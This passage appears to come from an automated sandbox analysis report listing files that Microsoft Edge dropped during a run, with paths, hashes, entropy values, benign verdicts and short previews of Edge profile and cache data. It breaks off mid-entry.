SHA-256:	363BAB625CDB63B758F63FE732079B5C9390B40AFAC7434636352D21C05227BD
SHA-512:	131DDA905A0BA1CB95F32CB460C48265D231D95C3A6B0CA8D142F1D36CBE162E04F8969E0AB53C1400395D16A09224EEE10377A17CDA5731F1F681A006B4194B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374813860305627","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374813860305627","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.836710555603923
Encrypted:	false
SSDEEP:	24:F2xc5Nm3cncmo0CRORpllg2D0fRHE0VdCRORpllg2RnkaY7dKCRORpllg2DXRHE7:F2emYtrdD0fBVXrdRk3grdDXBSrdYB8
MD5:	CA516CC45C15BBD245E0918062670988
SHA1:	DC12E660A4D2CD0328A0155513303EF7EA0774B7
SHA-256:	78DCAEC27B1D73319DD8677AE49E672BCF13C13A7E5F263CDB5505F17921E7FB
SHA-512:	926E3C5E7C1F9CD8DAF6F6F90193DB3A6B507079E5B7635E9F1197C97FE9D5B6BA5938EBE8C39365C46DEF6D3EFA4973260D59FC7FF1D78592E8B9D3B4A07794
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.?.;m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.....@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.112675865639846
Encrypted:	false
SSDEEP:	6:6HjwFB1923oH+TcwtE/a252KLlgH9N+q2P923oH+TcwtE/a2ZIFUv:6HjwmYeb8xLCH9N+v4Yeb8J2FUv
MD5:	3DA0E3F1CF7BACF4A10D65777FC47B23
SHA1:	AB7824DF047868B9C638EC4053F0E1300D15A09E
SHA-256:	EB664AD7256F99FA7C11ADE310002974DF60F88C98C18A6B8941BC2ACC8E6339
SHA-512:	FA39E03557453225FD075D32FDF2C269C9DD9DADC1EED4A6B327A4178D444670A735B52F94EE8CCA878619329D7DFF2749BAB4EA2467982A7F4AE44744A1D683
Malicious:	false
Preview:	2024/10/30-22:04:34.600 1fdc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/30-22:04:34.612 1fdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113314
Entropy (8bit):	5.578463918805651
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGTsrP4IaBiBL/r4L/rfbg:59LyxPXfOxr1lMe1Z6rF3w9aL/ML/3g
MD5:	66AF850523334290609300461A0978BA
SHA1:	81443E2B1EF1722F83CE9746446A5F357440C083
SHA-256:	8E4572D44A775894119B1F4E0E6DB3AD3299C915582360D2955D84A9EBDAB351
SHA-512:	D862052AC3FF95AD7533FB5E78B7365DA523A7DE466B619BBAA6EB0264E6EF814496C111BF01ACFB5DFF24D1B0ABEB92B0503D8568A370742B00BF9F652113B1
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187449
Entropy (8bit):	6.382049042214543
Encrypted:	false
SSDEEP:	3072:4DkAaAk5AWZwlfapicX+1N2+p/GzvkXkdFbLL/ec0B07:OWZwlUip1N9Xk7LL/Og
MD5:	7F064D782CCAD7694B4C1ADA309D8FE8
SHA1:	8DD8F6F2883FE3A10AB5104C5E73111F89F35F9E
SHA-256:	0E5A3F047E93BD52613104A0455BD1D1D9C25C4DDF8D464849A7CE7DA47E9E10
SHA-512:	0C3451179229B855475F6BA0867EBBDE2B83AB2420BA01E7D374F64D8A6E10904AE0FAD5BA67478BEF7F46F1CA18FFF4152F2A4CE01992902BB06C4B96127B34
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc.M+.....exports...Rc.._.....module....Rcr/n.....define....Rb.4."....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:r3KcC0Xl/lkV/lxE0tllcrbeE:WCkW0a2E
MD5:	23BC85698967434BE0743A6E3FF0A6CB
SHA1:	87E2FCDC90C617041EACE6173B94D955F7AC7192
SHA-256:	A1AADCC09D0AF55CE618F22FD71B25C7E6EA90E67518FA78F767DADDE60CE97D
SHA-512:	241423B55552326E76AB468F7D02E1D829D2FB5EB570852808B2828EA2FA44874CE0B65D89FE9E030461B640DAB50AC6B7359FF230CF0B80CEA4B956109E9845
Malicious:	false
Preview:	@....@L>oy retne.........................X....,....................R./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:r3KcC0Xl/lkV/lxE0tllcrbeE:WCkW0a2E
MD5:	23BC85698967434BE0743A6E3FF0A6CB
SHA1:	87E2FCDC90C617041EACE6173B94D955F7AC7192
SHA-256:	A1AADCC09D0AF55CE618F22FD71B25C7E6EA90E67518FA78F767DADDE60CE97D
SHA-512:	241423B55552326E76AB468F7D02E1D829D2FB5EB570852808B2828EA2FA44874CE0B65D89FE9E030461B640DAB50AC6B7359FF230CF0B80CEA4B956109E9845
Malicious:	false
Preview:	@....@L>oy retne.........................X....,....................R./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3fb1a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:r3KcC0Xl/lkV/lxE0tllcrbeE:WCkW0a2E
MD5:	23BC85698967434BE0743A6E3FF0A6CB
SHA1:	87E2FCDC90C617041EACE6173B94D955F7AC7192
SHA-256:	A1AADCC09D0AF55CE618F22FD71B25C7E6EA90E67518FA78F767DADDE60CE97D
SHA-512:	241423B55552326E76AB468F7D02E1D829D2FB5EB570852808B2828EA2FA44874CE0B65D89FE9E030461B640DAB50AC6B7359FF230CF0B80CEA4B956109E9845
Malicious:	false
Preview:	@....@L>oy retne.........................X....,....................R./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5727
Entropy (8bit):	3.4088457669442036
Encrypted:	false
SSDEEP:	96:cmKdy3yKnSC7G+5Km5Rdmt9Kwf9FZp+G+di2M/J1VF5SLl9iSrI14jE9:cRvC7G+dlmp9Lp+Gqi2I/F5SLl9iSrIH
MD5:	1E9DF07A205D70585867B6ADFFF25F56
SHA1:	19646F38EA3CA5C1D7B093C506B3B14DE5CE655E
SHA-256:	AA46EA7E16C157C282928259CF4F19A7AD37BE64DE13271F4AD17A09E79497A5
SHA-512:	AEC6A5FA443A0C6A70B9DC20B0C8F579BD38EB67D6E87E7F3F835FAFD80E864C2AA8EBF1505EFCCF94558CF9FB514E0808DB1F09047B21D1F0FC178DF393DFC2
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................mlAb................next-map-id.1.Cnamespace-41e354a3_d9eb_423c_a616_ba1fbd2f473b-https://ntp.msn.com/.0j....................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.m.s.n.-.n.e.w.b.r.a.n.d.,.p.r.g.-.1.s.w.-.n.e.w.b.r.a.n.d.,.p.r.g.-.p.r.2.-.n.e.w.b.r.a.n.d.,.p.r.g.-.h.p.-.h.a.s.p.o.l.l.,.x.a.d.s.-.a.d.q.c.b.i.s.-.c.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.n.p.w.e.a.t.o.d.a.y.,.p.r.g.-.l.o.c.k.-.m.i.t.-.c.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.h.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.l.3.r.m.b.a.g.b.7.,.p.r.g.-.1.s.w.-.s.a.p.s.h.l.d.o.u.t.t.1.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.2.,.p.r.g.-.1.s.w.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.069794688871848
Encrypted:	false
SSDEEP:	6:6He/Kq2P923oH+TcwtrQMxIFUt8vHeapZmw+vHeWjkwO923oH+TcwtrQMFLJ:6He/Kv4YebCFUt8vHeW/+vHeO5LYebtJ
MD5:	CE9B97E8BCDB38ECD86DDDBABA6FBF31
SHA1:	B53715F803BB776C26A90E8F08F24C6A5A029A32
SHA-256:	BBD6084DE3053882D7369B18ABDDC159BBF874F2E9F59693CF5768FECDAD897B
SHA-512:	C773C33515EB531232262F4533BDFFBBD87EEE01EC23E52816178ACC1DC16A359FF1369F2F9CD5CD76987BF874DD9606CD6647728240ADA18EEE814F8731792E
Malicious:	false
Preview:	2024/10/30-22:04:21.633 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-22:04:21.634 1cd0 Recovering log #3.2024/10/30-22:04:21.638 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.069794688871848
Encrypted:	false
SSDEEP:	6:6He/Kq2P923oH+TcwtrQMxIFUt8vHeapZmw+vHeWjkwO923oH+TcwtrQMFLJ:6He/Kv4YebCFUt8vHeW/+vHeO5LYebtJ
MD5:	CE9B97E8BCDB38ECD86DDDBABA6FBF31
SHA1:	B53715F803BB776C26A90E8F08F24C6A5A029A32
SHA-256:	BBD6084DE3053882D7369B18ABDDC159BBF874F2E9F59693CF5768FECDAD897B
SHA-512:	C773C33515EB531232262F4533BDFFBBD87EEE01EC23E52816178ACC1DC16A359FF1369F2F9CD5CD76987BF874DD9606CD6647728240ADA18EEE814F8731792E
Malicious:	false
Preview:	2024/10/30-22:04:21.633 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-22:04:21.634 1cd0 Recovering log #3.2024/10/30-22:04:21.638 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374813862821095

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7873786542075827
Encrypted:	false
SSDEEP:	24:3on3xesfFNXiiyedbapsAF4unx29tLp3X2amEtG1Chq2rpGg9lQRgKQKkOAM4:3OZTX/kzFGXLp2FEkChFrpGgQGLHOp
MD5:	F958F447DE7C08823FF1E0553D6F83E5
SHA1:	46FD13FAEAAB4B2D79D65388666FA6CE79F3DBED
SHA-256:	4A2180D452BE559F8F0EA11B8E80271713D501EB79FFE975C27239966FE2107F
SHA-512:	BABB1EC00473B4C2394D7F6576307CEA4FC7502BFADD2479BDE1A88818114167D6386B919A52580630E48D02CCD3078CB46E65FEE6A028232BAF867328F8E534
Malicious:	false
Preview:	SNSS........d.d............d.d......".d.d............d.d........d.d........d.d........d.d....!...d.d................................d.d.d.d1..,....d.d$...41e354a3_d9eb_423c_a616_ba1fbd2f473b....d.d........d.d................d.d....d.d........................d.d....................5..0....d.d&...{98952893-68FF-4A5D-A164-705C709ED3DB}......d.d........d.d...........................d.d............d.d........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........v.<.%...v.<.%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.061385284201816
Encrypted:	false
SSDEEP:	6:6HE+q2P923oH+Tcwt7Uh2ghZIFUt8vHN7ZZmw+vHN7NVkwO923oH+Tcwt7Uh2gnd:6HZv4YebIhHh2FUt8vHN7Z/+vHN7z5L0
MD5:	E081A45DF8C67DD32462C1A89956A045
SHA1:	399BFCF634BC9006C64066E21A9AADE399B9EEF0
SHA-256:	CEEEB84FF9AED66F8D21AA9809B59073E9FA513738918BB3BAB42E96AC761B6E
SHA-512:	A303B9858E1D00419E51C95C5FD1416E8AC9C1FE39BB580A5A72BB82019693058787AE3B9C55C08C78DB42E77F24C28C2C085B6BE4791372722E94CA40AAD490
Malicious:	false
Preview:	2024/10/30-22:04:20.331 a78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-22:04:20.332 a78 Recovering log #3.2024/10/30-22:04:20.332 a78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.061385284201816
Encrypted:	false
SSDEEP:	6:6HE+q2P923oH+Tcwt7Uh2ghZIFUt8vHN7ZZmw+vHN7NVkwO923oH+Tcwt7Uh2gnd:6HZv4YebIhHh2FUt8vHN7Z/+vHN7z5L0
MD5:	E081A45DF8C67DD32462C1A89956A045
SHA1:	399BFCF634BC9006C64066E21A9AADE399B9EEF0
SHA-256:	CEEEB84FF9AED66F8D21AA9809B59073E9FA513738918BB3BAB42E96AC761B6E
SHA-512:	A303B9858E1D00419E51C95C5FD1416E8AC9C1FE39BB580A5A72BB82019693058787AE3B9C55C08C78DB42E77F24C28C2C085B6BE4791372722E94CA40AAD490
Malicious:	false
Preview:	2024/10/30-22:04:20.331 a78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-22:04:20.332 a78 Recovering log #3.2024/10/30-22:04:20.332 a78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.193823810125957
Encrypted:	false
SSDEEP:	12:6He6v4YebvqBQFUt8vHep/+vHesj5LYebvqBvJ:GeA4YebvZg8veweuLYebvk
MD5:	A59F45C6D483DB5F9E09F78A11B2E212
SHA1:	E9CAF76FB6C8384A41D623004670B678763B3B06
SHA-256:	43B53314A2F48D0DBD25614B8DE1432F008AEA03CAEB71A4E9397AAF40F0BCC5
SHA-512:	3B5085934998084C66EE00DED809E7A3EA623194A6145C944ADA7FE003EB304C4441D78C4B6F3A255DAF506B3BA47DB303BFC2DA12E602E3983F8E4498223F99
Malicious:	false
Preview:	2024/10/30-22:04:21.651 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-22:04:21.653 1cd0 Recovering log #3.2024/10/30-22:04:21.658 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.193823810125957
Encrypted:	false
SSDEEP:	12:6He6v4YebvqBQFUt8vHep/+vHesj5LYebvqBvJ:GeA4YebvZg8veweuLYebvk
MD5:	A59F45C6D483DB5F9E09F78A11B2E212
SHA1:	E9CAF76FB6C8384A41D623004670B678763B3B06
SHA-256:	43B53314A2F48D0DBD25614B8DE1432F008AEA03CAEB71A4E9397AAF40F0BCC5
SHA-512:	3B5085934998084C66EE00DED809E7A3EA623194A6145C944ADA7FE003EB304C4441D78C4B6F3A255DAF506B3BA47DB303BFC2DA12E602E3983F8E4498223F99
Malicious:	false
Preview:	2024/10/30-22:04:21.651 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-22:04:21.653 1cd0 Recovering log #3.2024/10/30-22:04:21.658 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\22eaa908-28a0-4dc1-a033-e0c335b113b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
